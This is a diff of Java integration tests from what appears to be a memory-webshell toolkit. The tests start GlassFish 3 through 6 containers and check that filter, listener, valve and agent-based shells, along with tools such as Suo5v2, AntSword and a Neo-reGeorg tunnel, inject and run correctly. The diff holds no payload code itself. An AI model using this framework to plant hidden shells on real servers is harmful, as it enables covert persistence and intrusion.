static Network network = newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
.withExposedPorts(8080);
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@BeforeAll
static void setup() {
container.waitingFor(Wait.forHttp("/app"));
}
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
List<Triple<String, String, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Slf4j
@Testcontainers
public class GlassFish4ContainerTest {
public static final String imageName = "reajason/glassfish:4.1.2-quick";
static Network network = Network.newNetwork();
public class GlassFish4ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:4.1.2-quick",
"/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Slf4j
@Testcontainers
public class GlassFish501ContainerTest {
public static final String imageName = "reajason/glassfish:5.0.1";
static Network network = Network.newNetwork();
public class GlassFish501ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:5.0.1",
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Slf4j
@Testcontainers
public class GlassFish510ContainerTest {
public static final String imageName = "reajason/glassfish:5.1.0";
static Network network = Network.newNetwork();
public class GlassFish510ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:5.1.0",
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -1,92 +1,58 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Slf4j
@Testcontainers
public class GlassFish6ContainerTest {
public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
static Network network = Network.newNetwork();
public class GlassFish6ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:6.2.6-jdk11",
"/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}

Some files were not shown because too many files have changed in this diff Show More